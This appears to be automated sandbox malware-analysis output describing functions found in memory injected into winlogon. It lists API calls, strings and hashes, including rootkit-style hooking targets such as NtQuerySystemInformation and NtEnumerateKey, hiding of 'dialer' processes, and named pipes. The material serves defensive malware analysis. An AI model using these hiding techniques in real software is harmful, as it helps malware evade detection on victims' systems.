Instruction Fuzzy Hash: C551B5327246D1D9FB209B72E8407EEBBA5FB84794F144126EE9D67B95DE38C501CB00

Function 000001E8589636F0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3600075883.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858950000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction ID: 1e72e37fc9f235eb4f944ff72101e8db7dacc5524e3e801771df4715c73e88ad
Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction Fuzzy Hash: 1BF0F4716356948EDB988F69E443759B7A1F748384FD0812ADA8EC3A14DB3C8455CF14

Function 000001E8589812BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001E858981319
GetProcessHeap.KERNEL32 ref: 000001E858981327
HeapAlloc.KERNEL32 ref: 000001E858981338
RegEnumValueW.ADVAPI32 ref: 000001E858981397

Part of subcall function 000001E85898152C: StrCmpIW.SHLWAPI ref: 000001E85898155D

GetProcessHeap.KERNEL32 ref: 000001E8589813DF
HeapAlloc.KERNEL32 ref: 000001E8589813ED
GetProcessHeap.KERNEL32 ref: 000001E85898140A
HeapFree.KERNEL32 ref: 000001E858981418
lstrlenW.KERNEL32 ref: 000001E858981421
GetProcessHeap.KERNEL32 ref: 000001E85898142F
HeapAlloc.KERNEL32 ref: 000001E85898143D
StrCpyW.SHLWAPI ref: 000001E85898145F
GetProcessHeap.KERNEL32 ref: 000001E858981476
HeapFree.KERNEL32 ref: 000001E858981484

Strings

d, xrefs: 000001E85898135A

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: c2281e23739868d66036d4294d6c0683aafed4b8ecad6af3162b140505f798a1
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 4E512B36224BC5C6EB65DF62E54439EB7A2FB89BD9F044126DE4A07768EF38C0458B00

Function 000001E858981D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001E858981D1F

Part of subcall function 000001E858981FD4: GetModuleHandleA.KERNEL32 ref: 000001E858981FEC
Part of subcall function 000001E858981FD4: GetProcAddress.KERNEL32 ref: 000001E858981FFD

Part of subcall function 000001E858985B30: GetCurrentThreadId.KERNEL32 ref: 000001E858985B6B

Strings

ntdll.dll, xrefs: 000001E858981D2D
advapi32.dll, xrefs: 000001E858981DF7, 000001E858981E18
NtQueryDirectoryFileEx, xrefs: 000001E858981D9C
NtEnumerateKey, xrefs: 000001E858981DB9
EnumServicesStatusExW, xrefs: 000001E858981E11, 000001E858981E32
NtEnumerateValueKey, xrefs: 000001E858981DD6
NtDeviceIoControlFile, xrefs: 000001E858981E56
NtQueryDirectoryFile, xrefs: 000001E858981D7F
NtQuerySystemInformation, xrefs: 000001E858981D45
EnumServiceGroupW, xrefs: 000001E858981DF0
NtResumeThread, xrefs: 000001E858981D62
sechost.dll, xrefs: 000001E858981E39

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: eae4a35ccf18d1ff6c879c1ad54c2bd4091f653bf096b8bfe55e41d2011e4d15
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 35316074130ACBE0EA45EBA9EDA16ECF322FF84344F8050339C1D12565AF788289CB50

Function 000001E8589B6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001E8589B6938
__scrt_acquire_startup_lock.LIBCMT ref: 000001E8589B698A
_RTC_Initialize.LIBCMT ref: 000001E8589B69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001E8589B69DE
__scrt_release_startup_lock.LIBCMT ref: 000001E8589B6A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 000001E8589B69EE
`dynamic initializer for ', xrefs: 000001E8589B69C7
scriptor', xrefs: 000001E8589B6B39, 000001E8589B6BB2, 000001E8589B6BEC
`eh vector copy constructor iterator', xrefs: 000001E8589B6A3B

Memory Dump Source

Source File: 00000016.00000002.3600610953.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 5a678c2123d8270ec6fb616ddb0a075a8484000318cf7b7c2c8d3db3c22f7b07
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 2E818B316282C1CEFB92AB65D8413DDF6A0EF85B82F5481379E8D87796DF39E8458700

Function 000001E858956910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001E858956938
__scrt_acquire_startup_lock.LIBCMT ref: 000001E85895698A
_RTC_Initialize.LIBCMT ref: 000001E8589569B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001E8589569DE
__scrt_release_startup_lock.LIBCMT ref: 000001E858956A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 000001E8589569EE
`dynamic initializer for ', xrefs: 000001E8589569C7
`eh vector copy constructor iterator', xrefs: 000001E858956A3B
scriptor', xrefs: 000001E858956B39, 000001E858956BB2, 000001E858956BEC

Memory Dump Source

Source File: 00000016.00000002.3600075883.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858950000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: dbfcc5e9c0d96a37b9fd7991c7f30359c355952af576fe6994b0ae7cc5e7709f
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: CB817B317352C1CAFA96AB66D8513DDF3A0AF85782F548037AE4D87796DF38C94A8700

Function 000001E85898CE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001E85898CE37
FlsGetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CE4C
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CE6D
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CE9A
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CEAB
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CEBC
SetLastError.KERNEL32 ref: 000001E85898CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001E85898ECCC,?,?,?,?,000001E85898BF9F,?,?,?,?,?,000001E858987AB0), ref: 000001E85898CF2C

Part of subcall function 000001E85898D6CC: HeapAlloc.KERNEL32 ref: 000001E85898D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF54

Part of subcall function 000001E85898D744: HeapFree.KERNEL32 ref: 000001E85898D75A
Part of subcall function 000001E85898D744: GetLastError.KERNEL32 ref: 000001E85898D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF76

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: f86b91cb66a3c6f8454f4038e5b621bb7ea2211ae881aec1b10a116c1fa3f1b4
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 96416E302312CAC6FAA8A735D5553FDF2425F847B8F541736AD3F476E7DE2888018A40

Function 000001E858982244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001E858982259
GetCurrentProcessId.KERNEL32 ref: 000001E858982263

Part of subcall function 000001E858981934: OpenProcess.KERNEL32 ref: 000001E858981952
Part of subcall function 000001E858981934: IsWow64Process.KERNEL32 ref: 000001E858981968
Part of subcall function 000001E858981934: CloseHandle.KERNEL32 ref: 000001E858981983

CreateFileW.KERNEL32 ref: 000001E8589822BC
WriteFile.KERNEL32 ref: 000001E8589822E4
ReadFile.KERNEL32 ref: 000001E858982303
CloseHandle.KERNEL32 ref: 000001E85898230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001E858982293
\\.\pipe\dialerchildproc64, xrefs: 000001E85898228C

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 51a05a011626c34f84d443abd0de517d886d5e25bc20737c8bb9c705d9869c07
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: A5211D36624781C2EB109B25F5543ADB7A1FB89BE5F504226EE5E02AA8DF7CC149CF00

Function 000001E8589B9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001E8589B99A1

Part of subcall function 000001E8589BA814: __GetUnwindTryBlock.LIBCMT ref: 000001E8589BA857
Part of subcall function 000001E8589BA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001E8589BA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001E8589B9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001E8589B9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001E8589B9DDA

Strings

csm, xrefs: 000001E8589B99BB
csm, xrefs: 000001E8589B9A9C
csm, xrefs: 000001E8589B9A22

Memory Dump Source

Source File: 00000016.00000002.3600610953.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: ea488144e67ee9814cb3c00e2a8ac0c782a2014a7bbb5d57e2db9a248e5ddb93
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: F4E18D72628BC1CAEB609F65D4813DDB7A4FB89B99F100126EE8D57B9ADF34C491C700

Function 000001E858959944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001E8589599A1

Part of subcall function 000001E85895A814: __GetUnwindTryBlock.LIBCMT ref: 000001E85895A857
Part of subcall function 000001E85895A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001E85895A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001E858959A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001E858959CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001E858959DDA

Strings

csm, xrefs: 000001E858959A9C
csm, xrefs: 000001E8589599BB
csm, xrefs: 000001E858959A22

Memory Dump Source

Source File: 00000016.00000002.3600075883.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858950000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: ea3d8d01707ad5d94a13b4fba9cf6eb05f996a68f408e0993dfcc1eae4dccdcf
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: AFE16972624B81CAFB609B65E4813DDB7A4FF85B99F100126EE8D57B9ACF34C591CB00

Function 000001E85898A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001E85898A5A1

Part of subcall function 000001E85898B414: __GetUnwindTryBlock.LIBCMT ref: 000001E85898B457
Part of subcall function 000001E85898B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001E85898B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001E85898A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001E85898A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001E85898A9DA

Strings

csm, xrefs: 000001E85898A622
csm, xrefs: 000001E85898A5BB
csm, xrefs: 000001E85898A69C

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: fb0b219c5a3f278c8c4be7db907598bc1cd6189e151ec6c18a9f6efa96547db1
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 48E15A73624B82CAEB609B65D4803DDB7E0FB55798F140126EE8D57B99CF38D481CB02

Function 000001E85898F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001E85898F510
GetProcAddress.KERNEL32 ref: 000001E85898F51C

Strings

api-ms-, xrefs: 000001E85898F45A
ext-ms-, xrefs: 000001E85898F46D

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 44c234c9404ffe7b5e1619124c70eb274fb59fe55c9541b10c09b14d45380197
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2C410032331A92C1EA16DB66E8087DEB391FF49BE0F19513B9D0E97786EE38C4458700

Function 000001E85898104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001E8589810B1
RegEnumValueW.ADVAPI32 ref: 000001E858981117
GetProcessHeap.KERNEL32 ref: 000001E85898115A
HeapAlloc.KERNEL32 ref: 000001E858981168
GetProcessHeap.KERNEL32 ref: 000001E858981185
HeapFree.KERNEL32 ref: 000001E858981193

Strings

d, xrefs: 000001E8589810D6

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 9981850cc48d31037741c2cded26c72f9a92758d62ae1b8330bcbb02fb765734
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 5F414F73224BC4C6E760DF61E44479EB7A1F789B98F44812ADE8A07B58DF38C585CB40

Function 000001E85898D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D087
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0A6
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0CE
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0DF
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0F0

Strings

1%, xrefs: 000001E85898D0CE
Y%, xrefs: 000001E85898D0A6

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 9c311fea4b2fa3c9ab43cbea4d372c8830d6ac0f2b4a448fbd82eec820a9dce2
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: A8110A717242C6C1FA68AB25D9513FDF1416FC47F0F546336AC3E476EADE68C4028A00

Function 000001E858987510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001E858987538
__scrt_acquire_startup_lock.LIBCMT ref: 000001E85898758A
_RTC_Initialize.LIBCMT ref: 000001E8589875B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001E8589875DE
__scrt_release_startup_lock.LIBCMT ref: 000001E858987609

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: f82d139e0262af235c5c503c080292d7917c2a0aa74f472ae0aed1caa77cd681
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 5F816B396202C3EAFB50AB65E8813EDF691AF85780F544437AD0DA7796EE38C8458F11

Function 000001E858989DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001E858989E49
GetLastError.KERNEL32 ref: 000001E858989E57
LoadLibraryExW.KERNEL32 ref: 000001E858989E81
FreeLibrary.KERNEL32 ref: 000001E858989EC7
GetProcAddress.KERNEL32 ref: 000001E858989ED3

Strings

api-ms-, xrefs: 000001E858989E69

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: ed1d6103eff1dcc676994d656ad2f911c5872803e8dc8710478f2b646a537078
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: F831A4313226C2E2EE229B42E4407EDB694BF48BA0F5905379D5E47792EF39C4658B10

Function 000001E858993DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001E858993DE5
GetLastError.KERNEL32 ref: 000001E858993DF1
CloseHandle.KERNEL32 ref: 000001E858993E09
CreateFileW.KERNEL32 ref: 000001E858993E34
WriteConsoleW.KERNEL32 ref: 000001E858993E53

Strings

CONOUT$, xrefs: 000001E858993E15

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 848c5f808f98b7fe64fe1be9f14dffa162bf3ffb4f70aadf000dfa4e6251c1b3
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: C6115B31320AC0C6E7619B56E84439DB6A1FB88FE4F444226EE5E877A4DF38C8148744

Function 000001E858982F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E858982F27
HeapAlloc.KERNEL32 ref: 000001E858982F3A
StrCmpNIW.SHLWAPI ref: 000001E858982FAF
GetProcessHeap.KERNEL32 ref: 000001E858983015
HeapFree.KERNEL32 ref: 000001E858983023

Strings

dialer, xrefs: 000001E858982FA8

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: c1fd6422857e38418c878c4cd41444f40647f04957361f5aedf899a272e96910
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 22315A32721B92C2EA15DF96E5407ADF7A1BF44B84F0841329E4D47B59EF38C4A1CB00

Function 000001E85898CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001E85898CFAF
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898CFE5
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898D012
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898D023
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898D034
SetLastError.KERNEL32 ref: 000001E85898D04F

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: cd1afe50f7e6de5fdb75e3b85d99f54b8b5774328d87a634973043da6fa4d35a
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 061159312212C6C2FA69A721D5953BDF2426F887F4F141736AC3F876EADE6884018A00

Function 000001E85898199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001E8589819C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001E8589819E0
PathFindFileNameW.SHLWAPI ref: 000001E8589819EF
lstrlenW.KERNEL32 ref: 000001E8589819FB
StrCpyW.SHLWAPI ref: 000001E858981A0E
CloseHandle.KERNEL32 ref: 000001E858981A1C

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 60db19895ce507a708008e45d9c0298ffec254aa5bc9d4092071c0d004566a38
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 28011731320AC1C2EB64DB52E89879DB3A6FB88BC4F884036DE5E53755DE38C989C740

